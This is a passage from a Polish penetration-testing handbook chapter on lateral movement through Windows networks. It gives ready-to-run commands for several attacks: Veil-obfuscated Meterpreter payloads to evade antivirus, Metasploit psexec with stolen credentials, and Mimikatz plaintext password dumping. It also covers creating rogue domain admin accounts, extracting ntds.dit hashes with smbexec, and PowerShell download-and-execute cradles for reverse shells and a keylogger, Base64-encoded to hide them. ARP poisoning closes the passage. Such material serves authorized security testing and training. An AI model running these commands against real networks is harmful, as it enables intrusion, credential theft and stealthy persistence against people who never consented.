 dla nietypowych systemów — http://bit.ly/1eR3cbz,  lista dotycząca korzystania z Metasploita — http://bit.ly/JpJ1TR. To bardzo rozbudowane listy zawierające elementy, którym warto się przyjrzeć po uzyskaniu dostępu do atakowanego systemu. Przedstawione są między innymi polecenia pobierające konfigurację systemu, informacje o użytkowniku, a nawet polecenia zacierające ślady włamania. Jeszcze raz muszę podkreślić, jak istotne jest poszukiwanie właściwych informacji tuż po wstępnym włamaniu. To sytuacja, w której większość amatorów sobie nie radzi — tylko profesjonaliści realizujący testy penetracyjne z sukcesem posuwają się dalej w głąb sieci.

KROKI DO WYKONANIA, GDY POSIADAMY DOSTĘP DO LOKALNEGO KONTA ADMINISTRACYJNEGO LUB KONTA ADMINISTRATORA DOMENY Przy odrobinie szczęścia w poprzednim podrozdziale udało się uzyskać dostęp do lokalnego konta administratora, które działa na wszystkich komputerach. Być może nawet udało się uzyskać dostęp do konta administratora domeny. Jakie działania można podjąć, posiadając nowe dane uwierzytelniające? W tym podrozdziale postaram się odpowiedzieć właśnie na to pytanie.

PRZEJĘCIE KONTROLI NAD SIECIĄ ZA POMOCĄ POŚWIADCZEŃ I NARZĘDZIA PSEXEC PsExec to jedno z moich ulubionych narzędzi. Umożliwia zdalne wykonywanie programów i kodu przy użyciu zdobytych wcześniej poświadczeń. Wspomniane narzędzie jest wyjątkowo użyteczne, ponieważ obsługuje zarówno parę użytkownik-hasło, jak i użytkownik-skrót hasła. Przedstawię pełny przykład uzyskiwania kontroli nad systemami w sytuacji, gdy posiada się dostęp do sieci wewnętrznej. Tego samego procesu używam również do omijania programów antywirusowych. Przed rozpoczęciem wykonywania właściwego zadania musimy przygotować ładunek. Ponieważ chcę mieć pewność, że nie wywołam alarmu systemu antywirusowego, tworzę specjalnie zaciemniony ładunek za pomocą narzędzia Veil. Więcej informacji na temat tego narzędzia zawiera rozdział 8.

PsExec i Veil (Kali Linux) Zanim zacznę przesyłać plik wykonywalny do wszystkich użytkowników dostępnych w sieci, muszę wcześniej przygotować ładunek, który zmyli program antywirusowy i jednocześnie zapewni pełną funkcjonalność Meterpreterowi. Do przygotowania ładunku wykorzystam narzędzie Veil. 95

PODRĘCZNIK PENTESTERA

Przejdź do folderu /opt/Veil i wykonaj skrypt: cd /opt/Veil, ./Veil-Evasion.py.

W przykładzie użyjemy ładunku MeterHTTPSContained, wpisz więc poniższe polecenie (rysunek 5.8): use 25

Rysunek 5.8. Ekran początkowy narzędzia Veil

Podobnie jak w przypadku Metasploita ustawimy wartości LHOST i LPORT. Przykładowo mój system atakujący ma adres IP 192.168.75.131, a portem nasłuchującym (LPORT) jest port 443 (by udawać komunikację SSL): set LHOST 192.168.75.131 set LPORT 443

Po ustawieniu obu wartości wpisz poniższe polecenie, aby wygenerować ładunek (rysunek 5.9): generate

Skorzystaj z domyślnego instalatora pyinstaller (rysunek 5.10). Z chwilą zakończenia pracy narzędzie Veil umieści plik wynikowy w folderze /root/veil-output/compiled/. Po uzyskaniu ładunku, który oszuka skaner antywirusowy, skonfigurujmy narzędzie Metasploit. Gdy już zostanie uruchomiona konsola msfconsole, skorzystaj z modułu psexec. Ustawienia są dosyć standardowe i dotyczą wyboru sposobu włamania, wyboru ładunku oraz ustawienia wartości LHOST, LPORT (obie muszą być takie same, jak wpisane w programie Veil), SMBUser, SMBPass, SMBDomain i RHOST. Nowym elementem jest wskazanie własnego ładunku utworzonego narzędziem Veil za pomocą polecenia set EXE::Custom. Oto wszystkie polecenia zastosowane w przykładzie (rysunek 5.11): 96

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Rysunek 5.9. Konfiguracja narzędzia Veil

Rysunek 5.10. Veil i elastyczność języka Python

Rysunek 5.11. Użycie ładunku Veil w połączeniu z PsExec 97

PODRĘCZNIK PENTESTERA

msfconsole use exploit/windows/smb/psexec set PAYLOAD windows/meterpreter/reverse_https set LHOST [IP mojego komputera] set LPORT 443 set SMBUser TestAccount set SMBPass MyPassword set SMBDomain fakeDomain set EXE::Custom /root/veil-output/compiled/updater12.exe set RHOST [IP zdalnego komputera] exploit

Po wpisaniu polecenia exploit PsExec zaloguje się do komputera ofiary i wykona przygotowany wcześniej ładunek (rysunek 5.12).

Rysunek 5.12. Obsługa komunikacji z odwróconym HTTPS-em

Po udanym utworzeniu sesji Meterpretera następne polecenia wykonamy za pomocą poniższej komendy: sessions -i [numer sesji]

Pamiętasz, że w opisie narzędzia Mimikatz wspomniałem o uruchamianiu go w pamięci? Prześledźmy, jak to zrobić. Jeśli atakowany system jest 64-bitowy, musimy najpierw przejść do procesu 64-bitowego. Powodem, dla którego muszę zastosować taki proces, jest fakt, iż tylko w ten sposób narzędzie Mimikatz będzie mogło podejrzeć hasła zapisane jawnym tekstem w systemie 64-bitowym. W przypadku systemu 32-bitowego migracja również jest możliwa, choć nie ma takiej potrzeby. Aby wyświetlić listę procesów, użyjemy polecenia ps, a do przemigrowania — polecenia migrate [pid]. W przedstawionym przykładzie okazało się, że jako proces 64-bitowy działa aplikacja notepad.exe, więc to do niej zmigrowaliśmy. ps migrate [pid procesu x86_64] 98

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Przed wykonaniem przedstawionych poleceń trzeba stać się użytkownikiem systemowym. Zadanie to realizuje poniższe polecenie: getsystem

Sytuację, w której dostęp nie został przyznany, a jest się lokalnym administratorem, omówiono w rozdziale 9. Gdy już wykonaliśmy migrację i funkcjonujemy jako użytkownik systemowy, chcemy wczytać Mimikatz i wpisać polecenie kerberos (lub wdigest). Powinno to skutkować wyświetleniem, jako zwykły tekst, haseł wszystkich zalogowanych użytkowników (rysunek 5.13). kerberos wdigest

Rysunek 5.13. Mimikatz wyświetlający hasła użytkowników

W ten sposób uzyskaliśmy nowe nazwy użytkowników i hasła, które warto sprawdzić. Poza Mimikatz istnieją w narzędziu Metasploit inne warte zainteresowania moduły dotyczące sytuacji po włamaniu. Są to: Incognito (http://www.offensivesecurity.com/meta sploit-unleashed/Fun_With_Incognito) i smart_hashdump (http://www.darkoperator. com/blog/2011/5/19/metasploit-post-module-smart_hashdump.html). Przedstawiony przykład zapewnia w wielu sytuacjach wystarczający poziom dostępu do zaatakowanej maszyny.

99

PODRĘCZNIK PENTESTERA

Polecenia PsExec dla wielu adresów IP (Kali Linux) Dysponując danymi uwierzytelniającymi dotyczącymi lokalnego administratora, w niektórych sytuacjach nie chcemy „szczegółowo” włamywać się do wszystkich komputerów, a jedynie zamierzamy wykonać na nich wybrane polecenia. Oto przykłady poleceń, które warto by uruchomić na wszystkich komputerach:  net group "Domain Admins" /domain (wyświetla wszystkich administratorów domeny na serwerze),  qwinsta (wyświetla informacje o sesjach użytkowników),  utworzenie dodatkowych kont administracyjnych na wszystkich komputerach:  net user username password /ADD /DOMAIN,  net group "Domain Admins" username /ADD /DOMAIN,  net localgroup Administrators username /ADD. Royce Davis zmodyfikował oryginalny kod narzędzia psexec w taki sposób, by nie przesyłał plików binarnych programu, ale wykonywał w pamięci zdalne polecenia. W ten sposób można uniknąć wykrycia przez program antywirusowy i dodatkowo uzyskać możliwość jednoczesnego wykonania poleceń w wielu systemach. Oto krótki przykład (rysunek 5.14):

Rysunek 5.14. Narzędzie qwinsta 100

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

use auxiliary/admin/smb/psexec_command set RHOSTS [adres IP lub zakres adresów] set SMBDomain [domena] set SMBPass [hasło] set SMBUser [użytkownik] set COMMAND [polecenie, które ma zostać wykonane w wierszu poleceń] exploit

W rozdziale dotyczącym instalacji oprogramowania wspominałem o możliwości włączenia logowania, co pozwala zapamiętać wynik działania każdego polecenia konsoli Metasploita. Jest to jedna z sytuacji, gdy takie logowanie bywa bardzo pomocne. Jeśli chce się wykonać kod wewnątrz sieci /24 lub większej, wyniki będą zajmowały sporo miejsca. Wyszukanie odpowiednich danych najlepiej wykonać za pomocą skryptu, co znacząco ułatwi posiadanie pełnych wyników, gdyż wystarczy użyć skryptu przetwarzającego plik6. Udało mi się wykonać polecenie qwinsta na każdym komputerze i powiązać adresy IP z nazwami użytkowników. Jeśli posiadałbym listę administratorów IT, mógłbym włamywać się od razu do ich komputerów, pozostawiając wszystkie pozostałe komputery w spokoju.

ATAK NA KONTROLER DOMENY Jeśli mieliśmy na tyle szczęścia, by uzyskać dane lokalnego konta administratora lub konta administratora domeny, następnym naszym celem jest najczęściej sam kontroler domeny. Jednym z najprzyjemniejszych momentów dla każdego testera penetracyjnego jest chyba ten, w którym uda mu się wydobyć wszystkie skróty z kontrolera domeny. Nawet posiadając dane administratora, nie mamy praw do odczytu skrótów znajdujących się w pliku c:\Windows\NTDS\ntds.dit kontrolera domeny. Wynika to z faktu, iż plik ma założoną blokadę odczytu, a to z takiego powodu, że cały czas korzysta z niego system Active Directory. Rozwiązaniem okazuje się zastosowanie funkcjonalności Shadow Copy, wbudowanej w system Windows, i wykonanie kopii pliku7.

Narzędzie smbexec (Kali Linux) W tym momencie warto zainteresować się narzędziem smbexec (https://github.com/bra v0hax/smbexec). Narzędzie to zostało napisane przez brav0hax8 i ma na celu pobranie pliku ntds.dit i systemowych kluczy z rejestru za pomocą funkcjonalności Shadow Copy. Pobierzmy dane przy użyciu tego narzędzia, uruchamiając je na komputerze atakującym.

6

http://www.irongeek.com/i.php?page=videos/derbycon3/s106-owning-computers-without-shell-access-royce-davis

7

http://www.defcon.org/images/defcon-21/dc-21-presentations/Milam/DEFCON-21-Milam-Getting-The-Goods-With-smbexec-Updated.pdf

8

https://github.com/brav0hax/smbexec 101

PODRĘCZNIK PENTESTERA

 Uruchom smbexec:  cd /opt/smbexec,  ./smbexec.  Wybierz 3, aby pobrać skróty.  Wybierz 2, aby pobrać skróty z kontrolera domeny.  Wpisz nazwę użytkownika, skrót, domenę, adres IP, napęd NTDS i ścieżkę NTDS. Rysunek 5.15 przedstawia narzędzie smbexec łączące się z kontrolerem domeny za pomocą prawidłowych danych uwierzytelniających, sprawdzający ścieżki i próbujący wykonać kopię pliku ntds.dit oraz plików systemowych. Po zakończeniu tego zadania smbexec stara się przeanalizować pliki i wydobyć wszystkie skróty haseł z protokołu LDAP (ang. Lightweight Directory Access Protocol).

Rysunek 5.15. Smbexec w akcji

Smbexec po zakończeniu pracy tworzy w aktualnym katalogu folder, którego nazwa bazuje na dacie i czasie realizacji zadania (rysunek 5.16). Wewnątrz tego folderu znajduje się plik [domena]-dc-hashes.lst.

102

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Rysunek 5.16. Wynik działania narzędzia smbexec

W przedstawionym przykładzie udało się przedostać do kontrolera domeny i znaleźć skróty NTLM dla następujących użytkowników: Administrator:500:aad3b435b51404eeaad3b435b51404ee:8b9e471f83d355eda6bf63524b044870::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: admin_account:1000:aad3b435b51404eeaad3b435b51404ee:954bf28f34e47904f5c8725650f27283:: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:876c4efd01dbf8da6cd04c60ddac0f95::: bobsmith:1105:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589::: domainadmin:1106:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589::: pmartian:1107:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589:::

Jeśli włamanie dotyczy dużego kontrolera domeny, warto iść zaparzyć sobie kawę, bo cała operacja może zająć sporo czasu. Po zebraniu wszystkich skrótów można rozpocząć ich łamanie (patrz rozdział 9.) lub po prostu przekazywać skróty i nazwy użytkowników do wybranych komputerów.

UŻYCIE NARZĘDZIA POWERSPLOIT PO WSTĘPNYM WŁAMANIU (WINDOWS) Część rozdziału poświęcam skryptom PowerShella, ponieważ wydaje mi się, że właśnie w ten sposób będzie realizowana coraz większa liczba ataków. W społeczności testerów jest wiele osób tworzących skrypty z użyciem PowerShella i WMI (ang. Windows Management Instrumentation), wykorzystujących narzędzia wbudowane w system Windows. Chcę przedstawić jedną z moich ulubionych technik poruszania się po sieci firmowej za pomocą PowerShella — oczywiście przy założeniu posiadania danych uwierzytelniających. PowerSploit to framework PowerShella z modułami autorstwa Matta Graebera. Zarówno dodatkowe informacje, jak i samo narzędzie są dostępne pod adresem https://github. com/mattifestation/PowerSploit. Dlaczego warto zainteresować się PowerShellem w aspekcie prac wykonywanych po wstępnym włamaniu? PowerShell jest powszechnie stosowany przez osoby wykonujące testy penetracyjne, ponieważ korzysta z narzędzi wbudowanych w system Windows. Poza tym wszystko może być realizowane w pamięci, dzięki czemu można uniknąć wykrycia przez program antywirusowy, można wstrzykiwać pliki DLL do procesów, a nawet korzystać z danych użytkownika z pamięci podręcznej, żeby połączyć się z domeną. 103

PODRĘCZNIK PENTESTERA

Aby na poziomie koncepcyjnym opisać sposób korzystania z PowerShella, załóżmy, że posiadamy hasło lokalnego administratora i znajdujemy się w docelowej sieci. Wykorzystamy PowerShell do wymuszenia na użytkowniku pobrania i wywołania skryptu PowerShella, który pozwoli uruchomić odwróconą powłokę Meterpretera. Skrypt, który ma pobrać program, a następnie uruchomić go w naszym systemie-celu, nosi nazwę Invoke-Shellcode. Zawiera cały kod niezbędny do wykonania akcji po stronie klienta i uruchomienia odwróconej powłoki HTTPS Meterpretera. Więcej informacji na temat skryptu i jego funkcjonalności zawiera kod InvokeShellcode.ps1 (https://raw.github. com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1). Poniżej przedstawiam prosty przykład wykonania pliku InvokeShellcode.ps1 w celu wstrzyknięcia skryptu i przekazania ładunku odwróconej powłoki HTTPS Meterpretera. C:\PS> Invoke-Shellcode Description -------------Inject shellcode into the running instance of PowerShell. C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden C:\PS> $Proc = Get-Process notepad C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/ reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM VERBOSE: Injecting shellcode into PID: 4004 VERBOSE: Injecting into a Wow64 process. VERBOSE: Using 32-bit shellcode. VERBOSE: Shellcode memory reserved at 0x03BE0000 VERBOSE: Emitting 32-bit assembly call stub. VERBOSE: Thread call stub memory reserved at 0x001B0000 VERBOSE: Shellcode injection complete!

Zaczynajmy! Przejdźmy do folderu zawierającego wszystkie skrypty PowerShella. Jak zaznaczyłem wcześniej, chcemy zmusić nasze ofiary do utworzenia odwróconej powłoki Meterpretera, więc najpierw musimy uruchomić skrypt nasłuchujący po naszej stronie. Dzięki obsecuresec nie jest to trudne — napisał on w języku Python skrypt o nazwie StartListener.py, który skonfiguruje system nasłuchujący. Co więcej, skrypt ten pobraliśmy w rozdziale 19. Na komputerze z uruchomionym systemem Kali Linux wykonaj poniższe polecenia, aby uruchomić system nasłuchujący: cd /opt/PowerSploit/ python ./StartListener.py [adres IP] 443

Jeśli przyjrzymy się kodowi skryptu StartListener.py, zauważymy, że nie tylko uruchomi on program nasłuchujący, ale również wykona skrypt z inteligentną migracją procesu, gdy ofiara się z nami połączy. Poprawnie uruchomiony program nasłuchujący powinien wyglądać tak, jak na rysunku 5.17.

9

https://raw.github.com/obscuresec/random/master/StartListener.py 104

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Rysunek 5.17. Skrypt StartListener.py

Gdy udało się nam uruchomić program nasłuchujący, możemy przystąpić do przesyłania skryptów PowerShella. Na komputerze ofiary musimy wczytać do pamięci plik Invoke-Shellcode.ps1, a następnie utworzyć odwróconą powłokę Meterpretera.

POLECENIA Ponieważ PowerShell działa tylko w systemie Windows, przedstawione polecenia muszą być wykonywane w maszynie wirtualnej przeznaczonej do ataków z tego systemu. W poniższym przykładzie polecenie PowerShella pobiera skrypt Invoke-Shellcode.ps1 i wykonuje w pamięci atakowanej maszyny kod odwróconej powłoki HTTPS Meterpretera: IEX (New-Object Net.WebClient).DownloadString('https://raw.github.com/mattifestation/ PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/ meterpreter/reverse_https -Lhost 192.168.10.10 -Lport 443 -Force

Prześledźmy, co dokładnie się dzieje. Polecenie IEX instruuje PowerShell, by pobrał z internetu plik Invoke-Shellcode.ps1, wykonał go i na końcu wywołał funkcję odwróconej powłoki Meterpretera oraz połączył się z komputerem atakującym o adresie IP 192.168. 10.10 na porcie 443. Najczęściej koduję polecenia PowerShella za pomocą Base64, aby nie pojawiły się problemy ze znakami specjalnymi i dodatkowo, aby ukryć atak. Skrypt w języku Python dostępny pod adresem https://raw.github.com/darkoperator/powershell_scripts/master/ ps_encoder.py umożliwia zamianę dowolnego polecenia PowerShella na wersję z kodowaniem Base64. Skrypt ten pobraliśmy w rozdziale 1. Zakodujmy nasze polecenie za pomocą Base64. Skrypt przyjmuje tylko plik wejściowy, musimy więc polecenie PowerShella umieścić w pliku. Wykonaj następujące polecenia: 105

PODRĘCZNIK PENTESTERA

cd /opt/PowerSploit/ echo "IEX (New-Object Net.WebClient).DownloadString('https://raw.github.com/mattifestation/ PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/ meterpreter/reverse_https -Lhost 192.168.10.10 -Lport 443 -Force" > raw.txt

Aby zamienić plik na kodowanie Base64, użyj polecenia: ./ps_encoder.py -s raw.txt

Na ekranie pojawi się polecenie w postaci Base64. Zapisz je w pliku. Oto wynik, który otrzymałem: SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8Adw BuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAC4

Po uzyskaniu ładunku w postaci kodu Base64 musimy go zdalnie uruchomić na komputerze ofiary, używając w tym celu komputera atakującego z systemem Windows. Zapewne pamiętasz, że w rozdziale 1. wspominałem o tym, iż warto posiadać do ataków zarówno maszynę wirtualną z systemem Windows, jak i z systemem Linux. Przedstawiany przykład to jedna z sytuacji, w których dwa systemy po prostu się sprawdzają. Aby zdalnie połączyć się z innym systemem Windows, użyjemy polecenia Invoke-WmiMethod z poziomu skryptu PowerShella na komputerze atakującym. Wykonaj następujące polecenie: Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "powershell.exe -enc [kod jako Base64]" -ComputerName [adres IP ofiary] -Credential [nazwa użytkownika]

Polecenie nakazuje PowerShellowi połączyć się ze zdalnym systemem i wykonać na konkretnym porcie polecenie zakodowane za pomocą Base64. W trakcie realizacji polecenia pojawi się prośba o wprowadzenie nazwy użytkownika i hasła w dodatkowym okienku. Jeśli to możliwe, użyj danych z konta lokalnego administratora. W sytuacji gdy uwierzytelnienie powiodło się, powinien pojawić się komunikat taki, jak na rysunku 5.18.

Rysunek 5.18. Połączenie ze zdalnym systemem i uruchomienie ładunku

Gdy skrypt zostanie pobrany i wykonany po stronie ofiary, musimy wrócić do systemu, na którym nasłuchujemy połączenia (skrypt StartListener.py uruchomiony w Kali Linux). 106

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Powinniśmy zobaczyć, jak ofiara łączy się z naszym serwerem i rozpoczyna się sesja Meterpretera (rysunek 5.19).

Rysunek 5.19. Odwrócona sesja HTTPS

Na naszym serwerze Meterpreter odpowiedział na żądanie i otworzył sesję. Następnie AutoRunScript zmigrował proces, by sesja nie została zamknięta. W efekcie mamy na komputerze ofiary w pełni działającą sesję Meterpretera1011. Jeśli cały proces ogląda się na komputerze ofiary, można zauważyć, że początkowe polecenie zostaje wykonane za pomocą narzędzia powershell.exe. Komputer pobierze skrypt do pamięci i tam też go wykona. Oznacza to, że na komputerze ofiary nie są zapisywane żadne pliki i jest wielce prawdopodobne, że program antywirusowy nie zareaguje alarmem. Co więcej, jeśli w systemie zastosowano listę dozwolonych aplikacji, powershell.exe najprawdopodobniej się na niej znalazł, bo stanowi jeden z podstawowych elementów systemu Windows. Po uzyskaniu dostępu do komputera można łatwo wczytać następne skrypty PowerShella. Zajrzyj na stronę https://github.com/mattifestation/PowerSploit/tree/master, by zobaczyć listę wszystkich dostępnych modułów. Dotyczą one między innymi zapewnienia trwałości, obchodzenia systemów antywirusowych, rozpoznania, infiltracji itp. Przyjrzyjmy się jeszcze jednemu przykładowi ze strony GitHub. PowerSploit zawiera w sobie skrypt zapamiętywania tekstu wpisywanego z klawiatury. Skrypt ten jest dostępny pod adresem https://raw.github.com/mattifestation/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1. Pobierzemy go do systemu, do którego mamy dostęp, po czym uruchomimy. Skrypt w całości będzie działał w pamięci, ale wszystkie efekty swojej pracy zapisze w pliku na komputerze ofiary. 10

http://www.pentestgeek.com/2013/09/18/invoke-shellcode/

11

http://www.irongeek.com/i.php?page=videos/derbycon3/1209-living-off-theland-a-minimalist-s-guide-to-windows-post-exploitation-christopher-campbell-matthew-graeber 107

PODRĘCZNIK PENTESTERA

Uruchom narzędzie PowerShell i wykonaj odpowiednie polecenie: powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.github.com/mattifestation/ PowerSploit/master/Exfiltration/GetKeystrokes.ps1')

Spowoduje to pobranie skryptu i uruchomienie go w pamięci. Włączenie funkcjonalności zapisywania tekstu z klawiatury odbywa się za pomocą następującego polecenia: Get-Keystrokes -LogPath C:\key.log -CollectionInterval 1

Wyniki będą zapisywane w pliku C:\key.log. Te same polecenia można również wykonać zdalnie, korzystając z kroków takich, jakie zostały opisane wcześniej dla skryptu Meterpretera. Oto kilka innych skryptów PowerSploita, z których lubię korzystać podczas testów:  Exfiltration/Out-Minidump.ps1 (tworzy zrzut pamięci procesu),  Exfiltration/Get-TimedScreenshot.ps1 (wykonuje zrzut ekranu na komputerze ofiary). Jestem pełen podziwu dla autorów skryptów, ponieważ włożyli oni ogromny wysiłek w uczynienie narzędzia PowerShell bardziej użytecznym dla testów penetracyjnych. Do tej pory nie spotkałem się w trakcie korzystania ze skryptów PowerShella z alarmami programów antywirusowych lub ze zgłaszaniem wykrycia sygnatury niebezpiecznego programu.

POWERSHELL PO WSTĘPNYM WŁAMANIU (WINDOWS) Innym aktywnym członkiem społeczności skryptów PowerShella jest Nikhil Mittal. Jego prace można znaleźć pod adresem https://github.com/samratashok/nishang. W czasie pisania tego tekstu dostępna jest wersja o numerze 3.4. Większość prezentowanych skryptów dotyczy kroków podejmowanych tuż po włamaniu, czyli głównie — zdobywania informacji. Przyjrzyjmy się dokładniej niektórym skryptom. Najłatwiejszym skryptem PowerShella, na którym warto poćwiczyć, jest Get-Information. ps1. Spróbujmy najpierw wykonać skrypt na komputerze ofiary za pomocą polecenia: powershell -file Get-Information.ps1

W sytuacji przedstawionej na rysunku 5.20 skryptu nie udało się wykonać, ponieważ zasady bezpieczeństwa zabraniają uruchamiania niezaufanych skryptów. Jeśli wykonywanie skryptów PowerShella zostało zablokowane, regułę można obejść, używając poniższego wywołania: powershell -ExecutionPolicy bypass -file Get-Information.ps1

108

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Rysunek 5.20. Próba wykonania skryptu Get-Information.ps1

Zastosowany przełącznik w zasadzie czyni każde zabezpieczenie przed PowerShellem bezużytecznym. PowerShell nie tylko jest dostępny domyślnie w każdym systemie Windows 7 i nowszej wersji tego systemu, ale również bardzo trudno go zablokować. Przeglądając zawartość skryptu, możemy się dowiedzieć, jakiego rodzaju informacje zostaną przedstawione (patrz rysunek 5.21).

Rysunek 5.21. Informacje zbierane przez skrypt

Skrypt wydobędzie informacje na temat środowiska PowerShell, dotyczące PuTTY, jak również ostatnio użyte polecenia, dostępne zmienne systemowe, dane z SNMP, listę zainstalowanych aplikacji, dane o domenie, użytkowniku i systemie oraz informacje o sieciach Wi-Fi. Rysunek 5.22 przedstawia przykładowe dane uzyskane po uruchomieniu skryptu w atakowanym środowisku. Skrypty zapewniają mnóstwo informacji przydatnych tuż po wstępnym włamaniu. Kolejnym pomocnym skryptem jest Get-WLAN-Keys.ps1. Po jego uruchomieniu uzyskamy informacje na temat wszystkich sieci Wi-Fi zapamiętanych na komputerze, włączając w to SSID (ang. Service Set IDentifier) i hasło. Rysunek 5.23 przedstawia sytuację, w której poznajemy zarówno nazwę SSID, jak i hasło znajdujące się w zmiennej Key_Content12. Możemy połączyć się z siecią bezprzewodową 12

http://www.labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html 109

PODRĘCZNIK PENTESTERA

Rysunek 5.22. Informacje o systemie

bez potrzeby łamania haseł, jeśli sieć ta stosuje statyczny klucz uwierzytelniający (czyli nie bazuje na WPA-Enterprise). Aby dokładniej poznać funkcje oferowane przez narzędzia Nishanga, odwiedź stronę dostępną pod adresem http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html. Jak mogliśmy się przekonać, PowerShell staje się coraz bardziej rozbudowanym narzędziem. Ponieważ zaczyna być stosowany przez coraz większą liczbę badaczy, testerzy mogą się spodziewać nowych narzędzi. 110

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Rysunek 5.23. Klucze do sieci Wi-Fi

ZATRUCIE ARP Nie przeprowadzam obecnie zbyt wielu testów, które wymagają zatrucia ARP (ang. Address Resolution Protocol), choć nadal zdarzają się sytuacje, gdy używam tej techniki, kiedy inne zawiodą. Ponieważ ARP nie jest nowym rodzajem ataku, nie będę wdawał się w szczegóły dotyczące sposobu jego działania i metod zapobiegania. Przedstawię jedynie, jak przygotować tego rodzaju atak i w jaki sposób wykorzystać go w trakcie testów penetracyjnych.

IPV4 Gdy chcę przeprowadzić atak typu ARP, najczęściej korzystam z dwóch narzędzi. Są nimi: Cain and Abel oraz Ettercap.

Cain and Abel (Windows) Narzędzie funkcjonuje w systemie Windows i można je pobrać pod adresem http://www. oxid.it/cain.html. Aby dowiedzieć się, w jaki sposób działa zatrucie ARP, przeczytaj artykuł dostępny pod adresem http://www.irongeek.com/i.php?page=security/arpspoof. Przyjrzyjmy się temu, jaki przeprowadzić zatrucie za pomocą narzędzia Cain and Abel. Najpierw w narzędziu tym kliknij przycisk podsłuchiwania (Start/Stop Sniffer). Następnie przejdź na kartę Sniffer i wybierz polecenie Scan MAC Addresses (rysunek 5.24). Kliknij zakładkę APR w dolnej części okna narzędzia Cain and Abel, wybierz APR z lewej kolumny i kliknij przycisk oznaczony plusem na górnym pasku narzędziowym (jeśli przycisk nie będzie aktywny, kliknij środkową listę) — patrz rysunek 5.25. 111

PODRĘCZNIK PENTESTERA

Rysunek 5.24. Skanowanie adresów MAC w aplikacji Cain and Abel

Rysunek 5.25. Lista APR

Powinna pojawić się lista adresów IP z poprzedniego skanu. Wybierz komputer, który ma być celem zatrucia ARP, i wskaż adres IP bramki (rysunek 5.26). Ostatni krok to kliknięcie przycisku APR Poisoning Start/Stop znajdującego się na górnym pasku narzędziowym. Powinno rozpocząć się zatruwanie (rysunek 5.27). 112

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Rysunek 5.26. Routing dla zatrucia ARP

Rysunek 5.27. Udana operacja zatrucia

Gdy już udało się nam przeprowadzić pełne zatrucie ARP, możemy poszukać sytuacji, w której były przesyłane hasła w postaci jawnej. Skorzystaj z zakladki Passwords na dole ekranu i wybierz HTTP lub inny protokół przekazujący dane w postaci niezaszyfrowanej (rysunek 5.28). 113

PODRĘCZNIK PENTESTERA

Rysunek 5.28. Dane przekazane za pomocą protokołu HTTP w sposób jawny

Istnieje wiele różnych ataków, które można wykonać za pomocą pełnego zatrucia ARP. W rozdziale tym przedstawię jeszcze kilka przykładów, warto jednak samemu poszukać rozwiązania najlepiej dopasowanego do prowadzonych testów.

Ettercap (Kali Linux) Jeśli w kwestii przeprowadzania ataków typu ARP preferujemy system Linux, to możemy zastosować dobrze znane narzędzie Ettercap. Nadrzędzie działa w systemie Kali Linux i jest dostępne pod adresem http://ettercap.github.io/ettercap/. Najprostsze polecenie ma postać: ettercap -TqM arp: remote /10.0.1.1/ /10.0.1.7/

Przedstawione polecenie spowoduje przeprowadzenie zatrucia ARP dla adresu 10.0.1.7 i bramki 10.0.1.1 przy użyciu interfejsu tekstowego (T) w trybie cichym (q) oraz wykonanie ataku typu MITM (M) — ang. Man in the middle. Oznacza to, że cały ruch będzie się odbywał od adresu 10.10.1.7 do naszego komputera, a następnie do bramki, co pozwoli śledzić cały ruch przesyłany przez nasz cel (rysunek 5.29). Aby zobaczyć konkretne dane, użyj narzędzi takich jak tcpdump lub Wireshark.

Rysunek 5.29. Ettercap w akcji 114

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Istnieje mnóstwo dodatkowych wtyczek dla narzędzia Ettercap, warto więc poświęcić nieco czasu na jego poznanie. W trakcie przeprowadzania ataku MITM można nacisnąć klawisz P, aby wyświetlić wszystkie moduły, które można załadować. Oto przykładowa lista modułów wyświetlana po naciśnięciu wspomnianego klawisza: [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0] [0]

